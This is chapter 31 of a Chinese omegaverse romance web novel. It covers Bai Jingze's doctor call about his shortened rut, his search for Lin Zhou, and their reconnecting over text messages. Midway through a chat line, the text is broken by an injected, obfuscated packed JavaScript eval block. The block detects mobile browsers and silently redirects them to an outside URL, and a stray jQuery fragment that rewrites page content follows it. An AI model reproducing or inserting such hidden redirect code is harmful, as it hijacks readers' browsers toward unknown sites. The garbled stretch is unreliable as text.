31. 第 31 章
作品:《保卫娇气雇主》 白景泽一步步跟着人进了地铁站,目送她水滴一样悄然融进了早班高峰的人潮中,他出挑的模样和混乱的衣着太扎眼,吸引了不少探究的目光,白景泽无视周围,表情哀怨地站在原地当了会儿石头,终于还是转身回去了。
既然答应了给时间考虑,他就要信守承诺。说要是想找就一定能找到她,白景泽毫不怀疑,甚至有翻遍S市的打算。但他心里空落落的,怅然若失的感觉很难受,这段时间总是睁眼就能见到人,现在人不在,就像出现了戒断反应,一时间不知道干什么。
一早上班的梁思越看到后台数据,发现他的易感期结束了,忍不住给他的长期病患打了电话:“你这次居然才五天!”
普通Alpha一次三天左右,是对于自身和伴侣来说都能承受的范围。他两人互相配合着,花了好几年才让白景泽从十天缩短稳定在了七天左右,这次周期异常,不仅提前,居然连时间也变短了。
“出现了什么变量?”他想起来那个深夜给他打电话的女beta,“你的保镖?能不能问问她,复诊的时候一起过来让我见一下?要不你今天没事就过来吧。”
前期他的信息素失控症状其实也有几天,但因为程度轻微,和易感期的表现还是有区别,梁思越没把那个统计进去。易感期时间缩短已经算是进步了,虽然相比普通的三天左右还是偏长。
白景泽立刻拒绝:“见不了。”
梁思越“啧”了一声,也没坚持,“还有其他什么情况吗?”
“我……”白景泽顿了顿,还是说了实话:“中间有一次没控制住,咬了人。”
他没说咬了谁,但能在Alpha易感期近身,并且会被标记的,只能是他的易感对象了。
“哦……”梁思越大概明白了,马上切了电脑页面开始记录,语气公事公办地问道:“有性.行.为吗?次数?具体时间?”他边问边看这五天的数值记录曲线,开始试图找到一些关键时间节点。
白景泽听到电话那边敲击键盘的声音,无语了,“这你也要记?患者隐私呢?”
“当然。不是我非要当内务太监写皇帝起居录,这是珍贵的一手信息,对你后续治疗会有帮助。”
白景泽憋了半晌,道:“没有。”
他怕失控伤到她,而且如果只是因为易感期激素上头,上来就做到最后,不太尊重人。
“……那你打抑制剂了吗?”
“打过一次最高剂量,两次低剂量的,最后一天没打。她不想让我打。”
那就是硬扛的,他啰啰嗦嗦语重心长地念过多少次,不如易感对象说一次好使。梁思越噼里啪啦地写着,他见过很多高阶Alpha因为易感期强过头的性.欲把伴侣折磨得不行的例子,对于他病人的控制能力确实起了敬畏之心。
他又问:“心理状态怎么样?”
“除了失控标记那天,都很……开心,很幸福。”
“哎呀。”梁思越记录完,忍不住语气酸酸地说道:“幸福啊,春天啊,说不定你就快能从我这里毕业了。”
和碎嘴子通完电话,白景泽又在花园里走了一圈,降温要持续两三天,被早春升温骗开的花在寒风中瑟瑟发抖,可他却觉得热,躁动不安,心里被希望和挂念的人吊着。
早上跑出门太急,他回来才发现林周卧室里的东西几乎没动过,衣柜里他选的那些大衣、风衣、衬衫一件件整齐地挂着,她只拿了一点个人物品走。
床上的温度早就散了,白景泽的手指在林周躺过那半边床单上慢慢抚过,喉结滑动几下,幽暗难言的、无比芜杂的心绪从心底慢慢蔓延开来。这几天来,他不是完全没想过那些,倒不如说,他从第一次易感期时就开始想了。
床头柜上留下了一个小开本的牛皮纸本子,翻开,里面是二十几张鸟类画。是林周答应过他的。
白景泽坐在地毯上一张一张地看,原本林周的只是黑白铅笔画,给他的这套都是有色彩的,想起她说做了承诺就不会食言,心好像静了一点。他翻到其中一张画,拿手机拍了,像她那样,设置成了自己的账号头像。
随后白景泽去书房整理了一下这几天暂停的工作,安排了一下下午和未来几天的事宜。上午还有点时间,他决定把林周几天前开回来的车,给白淳佳送回去,顺便参观一下她的新工作室。
在停车场停好车,走到白淳佳的那栋楼,刚一进门,就看到斜对面的画室里有个西装高个男人的背影,正在绷画框,不是陆宁是谁。白淳佳躺在沙发上回笼觉睡得正熟,身上盖着的厚毯子被掖得严严实实。
白景泽对这两人她逃他追的日常模式已经麻木,放下车钥匙,招呼都懒得打,扭头就走。
但白淳佳说的也没错,这两人都是能折腾的主动型人格,一个愿打一个愿挨,恋爱谈得相当……不乏味。
至于他和林周,白景泽给自己的等待时间是三天,三天后就去找她。并且给自己预设了一个场景,要伪装成机缘巧合之下,两人在S市街头重逢,相视一笑……白景泽眯着眼睛幻想一番,狠下心决定在见到人之前先不联系她,毕竟他要做一个大方而成熟的追求者。
但……S市是全国的三大城市之一,有两千多万人口。三天后,四天后,直至一周后,开着车在S市区的各个路段徘徊,甚至学会了搭地铁,熟悉了十几条地铁线路的白景泽,连林周的人影都没看到。
他终于是按耐不住,开始给人发消息——
“你到底在哪啊?”
“别不理我。”
正在游乐场的小秋千架上晒着太阳的林周掏出手机,看到消息,她甚至能脑补出白景泽讲话时那种拖着长调子的黏糊腔调,却没有立刻回复。
她注意到了白景泽的头像,浑身黑的一只鸟,一双红眼睛,张嘴在叫,这是她画的她很清楚,是噪鹃。白景泽当初说要最好看的小鸟画,林周画了别墅附近见到的二十几种鸟类供他选,这只黑乎乎只会吵到人发飙的聒噪鸟,显然不是最好看的。
“[林周]:怎么选了这张?别墅林子外的那只还在叫吗?”
“[小白]:没叫了,它应该有对象了。”
林周正想打字说点什么,一条新消息出现——
“[小白]:可我还没有呢[可怜]。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553233|169094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
林周脸上浮现出无可奈何的神情,不知道回复什么,索性就扣上手机不管了。不做员工的好处就是,不用硬回老板消息,可以随便无视。林周荡着秋千晃了两下,她也说不上为什么,不自觉地低头抿了抿嘴。
身旁的秋千上晃着腿的小女孩,抓起脖子上挂着的放大镜,放在眼睛前看她,朗声道:“姨姨你叹气了,然后又笑了,和你发消息的人是谁?”
林周意外地看着她,“哇,陈青霖,你这么敏锐呢。”
小女孩扬起高傲的下巴,“我可是雪松路幼儿园大侦探!”
“报告陈侦探长,那是一个……”林周想了想,“撒娇怪。”
“喔唷。”陈青霖摸了摸下巴,“我跟爸爸说,六岁之后就会少撒娇了。”
“为什么?”
“我要做一个成熟的小孩。”
玩到下班时间,林周把陈青霖送到她家小区门口,一个长相白净清秀的男人笑着俯身抱起陈青霖,她对两人挥手道别,转身搭地铁回家。
说“回家”可能也不准确,那毕竟只是个新租了一周的房子。位置在稍微偏一点的新区,小区两条街外有一个公园,不远处就有一座山,环境很幽静,据中介说是备受本市短途徒步爱好者青睐的地方。
回小区的路上经过一家面包店,林周走进去,柜台的女孩看到她笑了笑,才来没几次,她已经记住了这个话少的高个子女beta,“今天想吃什么?”
林周表情认真地逐一从各种蛋糕、花式面包、蛋挞看过去,鼻子轻嗅着食物的各种味道,女孩觉得有意思,笑眯眯的,也不催她。
“还是黄油面包。”
其他的东西她尝试过一点,暂时不怎么能吃出个所以然来,但黄油面包的气味和味道就是她记忆里该有的,可能是因为够简单。
她把面包揣进风衣里慢慢往小区走,她的嗅觉味觉这段时间恢复了不少,但相比之下,还是记忆恢复得最多。不过离开半山别墅之后,那些时常如灵光一样随机降临的碎片又消失了,大概关键因素是白景泽。
白景泽……林周开始走神。
路边花坛里慢悠悠地走出了一只胖狸花猫,嗅了嗅空气,随即就在她前方半米远的地方当街躺下了,林周愣住,思考片刻,蹲下来掏出口袋里的面包,撕了一块递过去,但猫嗅了一下就移开了鼻子,表情不悦地冲她喵喵叫了两声,顾涌了两下身体,尾巴摆了摆。
林周不知道它什么意思,坚持递了一会儿面包,猫始终不感兴趣,她最终放弃,起身往旁边走开了,全程保持距离,没有碰到它。
那猫第一次遇到这种硬心肠的人,躺着发了下愣,又一骨碌爬起,快速跑到前方一对刚出便利店的情侣面前,再度如法炮制,就地一躺。
那对情侣是上道的,两人当场夹起嗓子喊着咪咪,开始上下其手地摸它,摸得它咕噜咕噜舒服地眯起眼睛。
目睹这一切的林周:“……”
她默默吃完手里的面包,走回家。坐在小客厅里发了会儿呆,最终掏出手机,看着白景泽的头像和那个可怜表情,回复了一个“[摸摸]”。